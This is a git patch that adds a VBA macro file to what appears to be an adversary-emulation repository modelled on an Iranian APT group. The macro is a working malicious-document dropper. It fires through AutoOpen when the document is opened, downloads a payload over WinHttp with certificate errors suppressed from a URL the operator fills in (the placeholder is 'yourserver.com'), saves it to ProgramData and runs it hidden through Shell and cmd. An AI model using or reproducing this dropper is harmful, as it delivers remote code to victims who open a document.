From 81f9b299b1aa080883e6f07ae0a2e43f3b4d4302 Mon Sep 17 00:00:00 2001
From: S3N4T0R <121706460+S3N4T0R-0X0@users.noreply.github.com>
Date: Sun, 8 Mar 2026 13:28:24 -0400
Subject: [PATCH] Add files via upload

---
 Iranian APT/Static Kitten/macros.bas | 52 ++++++++++++++++++++++++++++
 1 file changed, 52 insertions(+)
 create mode 100644 Iranian APT/Static Kitten/macros.bas

diff --git a/Iranian APT/Static Kitten/macros.bas b/Iranian APT/Static Kitten/macros.bas
new file mode 100644
index 0000000..1aa9d16
--- /dev/null
+++ b/Iranian APT/Static Kitten/macros.bas	
@@ -0,0 +1,52 @@
+
+Sub love_me_____()
+    Dim filePath As String
+    filePath = "C:\\ProgramData\\CertificationKit.ini"
+   
+    If Len(Dir(filePath)) > 0 Then
+        ExecuteFile filePath
+    Else
+        DownloadAndRun filePath
+    End If
+End Sub
+Sub DownloadAndRun(filePath As String)
+    On Error Resume Next
+    Dim objHTTP As Object
+    Dim fileNum As Integer
+    Dim byteData() As Byte
+    
+    ' =============================================
+    ' IMPORTANT: Put your download link below
+    ' Example: https://yourserver.com/CertificationKit.ini
+    ' =============================================
+    fileURL = ""
+
+   
+    Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
+    objHTTP.Option(4) = 13056
+    objHTTP.Open "GET", fileURL, False
+    objHTTP.send
+   
+    If objHTTP.Status = 200 Then
+        byteData = objHTTP.responseBody
+       
+        If UBound(byteData) > 0 Then
+            fileNum = FreeFile
+            Open filePath For Binary Access Write As #fileNum
+            Put #fileNum, , byteData
+            Close #fileNum
+           
+            ExecuteFile filePath
+        End If
+    End If
+End Sub
+Sub ExecuteFile(filePath As String)
+    On Error Resume Next
+   
+    Shell filePath, vbHide
+    CreateObject("WScript.Shell").Run "cmd /c start /b """ & filePath & """", 0, False
+   
+End Sub
+Sub AutoOpen()
+    love_me_____
+End Sub